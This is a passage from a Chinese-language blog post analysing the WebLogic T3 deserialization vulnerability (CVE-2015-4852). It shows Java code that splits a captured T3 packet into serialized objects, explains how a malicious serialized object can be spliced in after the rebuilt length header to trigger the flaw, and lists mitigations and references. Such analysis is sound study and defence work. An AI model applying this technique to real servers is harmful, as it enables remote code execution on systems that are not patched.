                (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0x41,
                (byte) 0x73, (byte) 0x42, (byte) 0x79, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x00,
                (byte) 0x02, (byte) 0x5b, (byte) 0x42, (byte) 0x78, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77,
                (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e,
                (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69,
                (byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e,
                (byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49,
                (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0xe6, (byte) 0xf7, (byte) 0x23, (byte) 0xe7, (byte) 0xb8,
                (byte) 0xae, (byte) 0x1e, (byte) 0xc9, (byte) 0x02, (byte) 0x00, (byte) 0x08, (byte) 0x49, (byte) 0x00,
                (byte) 0x05, (byte) 0x6d, (byte) 0x61, (byte) 0x6a, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00,
                (byte) 0x05, (byte) 0x6d, (byte) 0x69, (byte) 0x6e, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00,
                (byte) 0x0c, (byte) 0x72, (byte) 0x6f, (byte) 0x6c, (byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67,
                (byte) 0x50, (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b,
                (byte) 0x73, (byte) 0x65, (byte) 0x72, (byte) 0x76, (byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50,
                (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x5a, (byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65,
                (byte) 0x6d, (byte) 0x70, (byte) 0x6f, (byte) 0x72, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50,
                (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x4c, (byte) 0x00, (byte) 0x09, (byte) 0x69,
                (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x54, (byte) 0x69, (byte) 0x74, (byte) 0x6c, (byte) 0x65,
                (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x05, (byte) 0x4c, (byte) 0x00, (byte) 0x0a,
                (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x6e, (byte) 0x64,
                (byte) 0x6f, (byte) 0x72, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x05, (byte) 0x4c,
                (byte) 0x00, (byte) 0x0b, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65,
                (byte) 0x72, (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x71, (byte) 0x00, (byte) 0x7e,
                (byte) 0x00, (byte) 0x05, (byte) 0x78, (byte) 0x70, (byte) 0x77, (byte) 0x02, (byte) 0x00, (byte) 0x00,
                (byte) 0x78, (byte) 0xfe, (byte) 0x00, (byte) 0xff, (byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                (byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x13,
                (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63,
                (byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x4a, (byte) 0x56,
                (byte) 0x4d, (byte) 0x49, (byte) 0x44, (byte) 0xdc, (byte) 0x49, (byte) 0xc2, (byte) 0x3e, (byte) 0xde,
                (byte) 0x12, (byte) 0x1e, (byte) 0x2a, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70,
                (byte) 0x77, (byte) 0x49, (byte) 0x21, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0c, (byte) 0x31, (byte) 0x37, (byte) 0x32,
                (byte) 0x2e, (byte) 0x31, (byte) 0x36, (byte) 0x2e, (byte) 0x32, (byte) 0x2e, (byte) 0x31, (byte) 0x32,
                (byte) 0x39, (byte) 0x00, (byte) 0x0c, (byte) 0x31, (byte) 0x37, (byte) 0x32, (byte) 0x2e, (byte) 0x31,
                (byte) 0x36, (byte) 0x2e, (byte) 0x32, (byte) 0x2e, (byte) 0x31, (byte) 0x32, (byte) 0x39, (byte) 0x36,
                (byte) 0x65, (byte) 0x53, (byte) 0x70, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x07, (byte) 0x00,
                (byte) 0x00, (byte) 0x1b, (byte) 0x59, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x78, (byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                (byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x13,
                (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63,
                (byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x4a, (byte) 0x56,
                (byte) 0x4d, (byte) 0x49, (byte) 0x44, (byte) 0xdc, (byte) 0x49, (byte) 0xc2, (byte) 0x3e, (byte) 0xde,
                (byte) 0x12, (byte) 0x1e, (byte) 0x2a, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70,
                (byte) 0x77, (byte) 0x1f, (byte) 0x01, (byte) 0xb1, (byte) 0x5f, (byte) 0x44, (byte) 0x41, (byte) 0xe4,
                (byte) 0x9c, (byte) 0x92, (byte) 0x69, (byte) 0x00, (byte) 0x0c, (byte) 0x31, (byte) 0x37, (byte) 0x32,
                (byte) 0x2e, (byte) 0x31, (byte) 0x36, (byte) 0x2e, (byte) 0x32, (byte) 0x2e, (byte) 0x31, (byte) 0x32,
                (byte) 0x39, (byte) 0x36, (byte) 0x65, (byte) 0x53, (byte) 0x70, (byte) 0x00, (byte) 0x00, (byte) 0x00,
                (byte) 0x00, (byte) 0x78};
        int skip = 0;
        List&lt;Integer&gt; size_list = new ArrayList&lt;Integer&gt;();
        size_list.add(0);
        // 前四个字节
        int length = ((bytes[0] &amp; 0xff) &lt;&lt; 8 * 3) + ((bytes[1] &amp; 0xff) &lt;&lt; 8 * 2) + ((bytes[2] &amp; 0xff) &lt;&lt; 8) + (bytes[3] &amp; 0xff);
        System.out.println("数据包长度标记:" + length);
        ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
        int origSize = bis.available();
        System.out.println("数据长度" + origSize);
        Object o = null;
        while (bis.available() &gt; 0) {
            try {
                bis.reset();
                bis.skip(skip);
                ObjectInputStream ois = new ObjectInputStream(bis);
                o = ois.readObject();
                System.out.println("Object found:" + o.getClass().getName());
                size_list.add(skip);
                skip = origSize - bis.available();
            } catch (StreamCorruptedException e) {
                skip = skip + 1;
                bis.skip(1);
            } catch (OptionalDataException ode) {
                bis.skip(1);
                skip = skip + 1;
            } catch (ClassNotFoundException c) {
                System.out.println("Class not found:" + c.getMessage());
                skip = origSize - bis.available();
            }
        }
        size_list.add(bytes.length);
        int start = 0;
        int end = 0;
        for (int i = 0; i &lt; size_list.size() - 1; i++) {
            start = size_list.get(i);
            end = size_list.get(i + 1);
            System.out.println("size:" + i + "  start:" + start + "  end:" + end);
        }
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/01/20200130161808.png" alt="20200130161808" /></p>
<p>可以看到，一共分为6段，第一部分没有序列化对象，2-6部分均存在序列化对象，这里借乌云一张图来解释。<br />
<img src="/wp-content/uploads/2020/01/20200130161825.png" alt="20200130161825" /></p>
<p>因为第一部分会校验数据包长度，替换2-6部分的序列化数据不太现实，如果长度不匹配weblogic会报java.io.EOFException异常。</p>
<p>那么我们可以通过构造第一部分的非Java数据(前4个字节为数据长度)+第二部分拼接我们恶意的序列化数据，即可触发漏洞。</p>
<h1>修复</h1>
<ol>
<li>在weblogic所在服务器安装web代理应用，如apache、nginx等，使web代理监听原有的weblogic监听端口，并将HTTP请求转发给本机的weblogic，t3协议过不来自然无法触发反序列化。需要将weblogic停止脚本中的ADMIN_URL参数中的IP修改为“127.0.0.1”或“localhost”，否则停止脚本将不可用。</li>
<li>使用https://github.com/ikkisoft/SerialKiller。</li>
<li>weblogic 用黑名单的方式对反序列化的类做了一些过滤，后面的几个 cve 也都是绕过黑名单。</li>
</ol>
<h1>总结</h1>
<p>因为是common-collections这个库出现的反序列化漏洞，加上7001端口默认提供了http snmp t3协议服务，一个端口复用多个协议，而t3协议通过传续序列化对象来通信，对传输的数据又没有过滤，导致了反序列化漏洞，是反序列化影响范围大、影响时间久远的洞了。</p>
<p>本文花费的时间也比较长，从基本的common-collections链到weblogic的安装部署，再到wireshark分析和t3协议的模拟，参考了很多文章，毕竟刚开始学Java审计，慢慢来，加油。</p>
<h1>参考链接</h1>
<p>http://www.jspxcms.com/knowledge/429.html<br />
https://blog.csdn.net/cz596738622/article/details/80483812<br />
https://www.cnblogs.com/ph4nt0mer/p/11772709.html<br />
https://paper.seebug.org/584/<br />
https://paper.seebug.org/1012/<br />
http://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/<br />
https://github.com/QAX-A-Team/WeblogicEnvironment<br />
http://drops.xmd5.com/static/drops/web-13470.html<br />
https://blog.csdn.net/he_and/article/details/97924679</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
